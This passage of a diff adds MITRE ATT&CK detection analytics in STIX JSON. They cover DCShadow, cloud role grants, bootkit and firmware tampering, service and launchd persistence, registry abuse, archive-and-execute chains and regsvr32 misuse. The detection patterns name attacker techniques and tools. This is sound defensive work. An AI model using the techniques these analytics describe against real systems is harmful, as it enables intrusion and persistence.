"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0276#AN0770", + "external_id": "AN0770" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0770", + "description": "Detection of rogue Domain Controller registration and Active Directory replication abuse by correlating: (1) creation/modification of nTDSDSA and server objects in the Configuration partition, (2) unexpected usage of Directory Replication Service SPNs (GC/ or E3514235-4B06-11D1-AB04-00C04FC2DCD2), (3) replication RPC calls (DrsAddEntry, DrsReplicaAdd, GetNCChanges) originating from non-DC hosts, and (4) Kerberos authentication by non-DC machines using DRS-related SPNs. These events in combination, especially from hosts outside the Domain Controllers OU, may indicate DCShadow or rogue DC activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a", + "name": "WinEventLog:Security", + "channel": "EventCode=4928" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "WinEventLog:Security", + "channel": "EventCode=4929" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", + "name": "WinEventLog:Security", + "channel": "EventCode=4662" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "m365:dirsync", + "channel": "Replication cookie changes involving Configuration partition with new server/nTDSDSA objects." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Window (seconds) between nTDSDSA object creation and subsequent replication traffic from same host (default 300s)." + }, + { + "field": "AllowedReplicationPartners", + "description": "List of legitimate DCs authorized for replication to reduce false positives." + }, + { + "field": "SuspiciousSPNs", + "description": "SPNs indicating replication service usage (GC/, GUID E3514235-4B06-11D1-AB04-00C04FC2DCD2)." + }, + { + "field": "NonDCObjectCreationAlert", + "description": "Trigger alerts only when AD object creation is by accounts not in Domain Admins or Enterprise Admins groups." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--04412d94-62ac-4484-9408-c4ca1c206f1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0277#AN0771", + "external_id": "AN0771" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0771", + "description": "Detection of new IAM roles or policies attached to a user/service in AWS/GCP/Azure outside normal patterns or hours, often following account compromise.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "AWS:CloudTrail", + "channel": "AttachUserPolicy, CreatePolicyVersion, PutRolePolicy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RoleScope", + "description": "IAM Role type or privilege level assigned (e.g., Admin, Billing, Viewer)" + }, + { + "field": "UserContext", + "description": "User, service account, or external federated identity context performing the action" + }, + { + "field": "PolicyChangeTimeWindow", + "description": "How quickly multiple roles or policies are added after initial access" + }, + { + "field": "ExternalRoleOrigin", + "description": "Cross-account roles from outside trusted tenant list" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a52321d0-5961-497b-8212-61602e05420b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0277#AN0772", + "external_id": "AN0772" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0772", + "description": "Behavioral chain of a user being granted elevated privileges or roles in Entra ID or Okta following suspicious login or account creation activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:audit", + "channel": "Add member to role, Add app role assignment" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminRoleThreshold", + "description": "Number of accounts allowed to hold sensitive roles like Global Admin" + }, + { + "field": "RoleAssignmentMethod", + "description": "Mechanism by which role was added (PowerShell, API, UI)" + }, + { + "field": "GrantContext", + "description": "Expected user-to-role mapping defined by org policy" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8601dbfa-8767-4328-8809-1930b53b5e31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0277#AN0773", + "external_id": "AN0773" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0773", + "description": "Detection of new admin or role assignment actions within Microsoft 365/O365 environments to elevate access for persistence or lateral movement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:unified", + "channel": "Add member to role, Set-Mailbox" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OfficeRoleType", + "description": "Admin role type or application role granted" + }, + { + "field": "TimeWindow", + "description": "Time between initial login and privilege change" + }, + { + "field": "ActionOrigin", + "description": "Was the role assignment local or via federated SSO account" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e2ca60b5-82df-4e7e-8528-dd24d9a79750", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0278#AN0774", + "external_id": "AN0774" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0774", + "description": "Unusual modification of boot records (MBR, VBR) or EFI partitions not associated with legitimate patch cycles or OS upgrades. Registry or WMI events associated with firmware update tools executed from unexpected parent processes. API calls (e.g., DeviceIoControl) writing directly to raw disk sectors. Subsequent abnormal boot configuration changes followed by unsigned driver loads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=9" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedFirmwareUpdateTools", + "description": "Legitimate vendor tools or processes authorized to modify firmware or boot records." + }, + { + "field": "TimeWindow", + "description": "Correlating boot-sector modification with subsequent reboot events." + }, + { + "field": "EntropyThreshold", + "description": "Heuristic threshold for detecting obfuscated/packed boot code." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--08dd2c3b-e07c-4b47-bae6-aa09c2a86d87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0278#AN0775", + "external_id": "AN0775" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0775", + "description": "Detection of writes to /boot or EFI directories outside of expected package manager updates. Monitoring kernel log and auditd events for attempts to overwrite bootloader binaries (e.g., grub, shim). Unexpected execution of efibootmgr or dd writing to /dev/sdX devices followed by boot parameter changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write: Modification of /boot/grub/* or /boot/efi/*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PackageManagerUpdateWhitelist", + "description": "Allowlist of legitimate grub/shim updates via apt, yum, or rpm." + }, + { + "field": "FilesystemPaths", + "description": "Directories (e.g., /boot/efi, /boot/grub) monitored for unauthorized modification." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--43834e1c-533a-4f08-b508-8632d35b10ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0278#AN0776", + "external_id": "AN0776" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0776", + "description": "Abnormal modification of EFI firmware binaries in /System/Library/CoreServices/ or NVRAM parameters not associated with OS updates. Unified logs capturing calls to bless or nvram commands executed from untrusted parent processes. Sudden unsigned kext loads after EFI variable tampering.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of bless or nvram modifying boot parameters" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modification of /System/Library/CoreServices/boot.efi" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedBootUtilities", + "description": "Known Apple-signed processes responsible for firmware updates." + }, + { + "field": "BootParamBaseline", + "description": "Baseline set of allowed NVRAM boot parameters for anomaly detection." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e64aebfd-8343-45ec-bdce-6681a8255637", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0278#AN0777", + "external_id": "AN0777" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0777", + "description": "Unexpected firmware image uploads via TFTP/FTP/SCP. Configuration changes modifying boot image pointers. Logs showing boot variable redirection to non-standard images. Anomalous reboots immediately following firmware changes not tied to patch schedules.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "networkdevice:config", + "channel": "Boot variable modified to point to non-standard or unsigned image" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "networkdevice:firmware", + "channel": "Unexpected firmware image upload events via TFTP/FTP/SCP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedFirmwareHashes", + "description": "Known good firmware image hashes allowed for boot." + }, + { + "field": "MaintenanceWindows", + "description": "Timeframes during which firmware updates are expected." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--667c21d2-2f92-42d6-aaea-b46974f63c8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0279#AN0778", + "external_id": "AN0778" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0778", + "description": "Monitor for abnormal creation or modification of Windows services (e.g., via sc.exe, PowerShell, or API calls) that load non-standard executables. Correlate registry changes in service keys with service creation events and process execution to detect service abuse for persistence or execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:Security", + "channel": "EventCode=4697" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceAllowlist", + "description": "Known good services and installers that regularly modify or create services" + }, + { + "field": "TimeWindow", + "description": "Threshold for correlating service creation with unusual process execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--65691cb3-a2b3-4c48-91d2-7088a047ebef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0279#AN0779", + "external_id": "AN0779" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0779", + "description": "Detect unusual invocations of systemctl, service, or init scripts creating or modifying daemons. Monitor audit logs for execution of binaries from unexpected paths linked to service start/stop activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "linux:syslog", + "channel": "systemctl start/enable with uncommon binary paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceBinaryPaths", + "description": "Valid directories for service binaries to filter out benign changes" + }, + { + "field": "UserContext", + "description": "Expected accounts performing service management (e.g., root/admin)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--63d21290-b858-4c4e-9447-31d623048048", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0279#AN0780", + "external_id": "AN0780" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0780", + "description": "Monitor launchd service definitions and property list (.plist) modifications for non-standard executables. Detect unauthorized processes registered as launch daemons or agents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Unexpected processes registered with launchd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modification of LaunchAgents or LaunchDaemons plist files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistAllowlist", + "description": "Known launch agents/daemons expected to be modified by updates or IT tools" + }, + { + "field": "PayloadEntropyThreshold", + "description": "Entropy level for detecting suspicious binary payloads in launchd services" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de8d67d4-9d2a-4379-be8b-3ae3f3b3ac75", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-22 18:39:47.271000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0280#AN0781", + "external_id": "AN0781" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0781", + "description": "Behavior chain involving abnormal registry modifications via CLI, PowerShell, WMI, or direct API calls, especially targeting persistence, privilege escalation, or defense evasion keys, potentially followed by service restart or process execution. Such as editing Notify/Userinit/Startup keys, or disabling SafeDllSearchMode.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13, 14" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegistryKeyPathPatterns", + "description": "Environment-specific list of monitored or critical registry keys, e.g., Run, Services, Security Settings, LSASS" + }, + { + "field": "ParentProcessAllowList", + "description": "Allowlist of legitimate registry tools (e.g., regedit.exe, msiexec.exe); used to filter known safe writes" + }, + { + "field": "TimeWindow", + "description": "Correlate registry change with nearby process/service execution within a defined timeframe" + }, + { + "field": "SignatureCheck", + "description": "Flag unsigned executables or abnormal parent-child lineage performing registry modification" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--18253101-bce9-453e-ab03-603bbd174552", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0281#AN0782", + "external_id": "AN0782" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0782", + "description": "Monitors for compression tool usage (e.g., 7zip, WinRAR, MakeCab) that follows or precedes file modification, suspicious file types (e.g., .exe, .dll) being compressed, or dropped from self-extracting archives followed by immediate execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CompressedFileType", + "description": "Zip, .rar, .cab, .gz \u2013 tune based on expected legitimate use of compression in environment" + }, + { + "field": "SFXExecutionDelay", + "description": "Expected time between archive unpacking and first execution \u2013 short delays are suspicious" + }, + { + "field": "UserContext", + "description": "Restrict detection to non-admin or interactive users if excessive FPs from sys admin activity" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--55083ce8-b00e-4501-97db-829082bdbb48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0281#AN0783", + "external_id": "AN0783" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0783", + "description": "Detects sequential command-line compression utilities (e.g., gzip, tar, zip, 7z) followed by execution of unpacked files, especially in temp directories or under non-standard locations like /dev/shm or /tmp with ELF binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "openat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "chmod" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathRegex", + "description": "Flag compressed archives extracted to /tmp, /dev/shm, or user\u2019s home dir" + }, + { + "field": "CompressionToolPatterns", + "description": "gzip, tar, bzip2, xz, 7z \u2013 tune to suppress admin packaging workflows" + }, + { + "field": "ExecutionAfterUnpackWindow", + "description": "How soon a new file is executed after it\u2019s unpacked" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--62afd8a1-550d-43a6-a56a-7d5ae5abbcf6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0281#AN0784", + "external_id": "AN0784" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0784", + "description": "Identifies archive utilities (e.g., ditto, unzip, xar, pkgutil) used to extract payloads to non-standard paths, then correlates with execution or file permission changes (e.g., `chmod +x`) and process spawns from decompressed location.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process launch" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "filesystem events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "file open/write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DecompressionPathMatch", + "description": "Target unusual extraction paths (~/Library/, /tmp/, /private/tmp/)" + }, + { + "field": "ToolBinaryNames", + "description": "List of decompression utilities used in the environment" + }, + { + "field": "FollowOnExecutionDelta", + "description": "Time between decompression and first binary execution" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--50658b7e-57c5-4e31-b156-1b294574a9f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0282#AN0785", + "external_id": "AN0785" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0785", + "description": "Detection focuses on identifying anomalous regsvr32.exe executions that deviate from normal administrative or system use. Defenders may observe regsvr32.exe loading scriptlets or DLLs from unusual paths (especially temporary directories or remote URLs), command-line arguments invoking /i or /u with suspicious file references, network connections initiated by regsvr32.exe, and unsigned or untrusted DLLs being loaded shortly after regsvr32.exe invocation. Correlated sequences include regsvr32.exe process creation, module load of DLL/scriptlet, and optional outbound network traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + 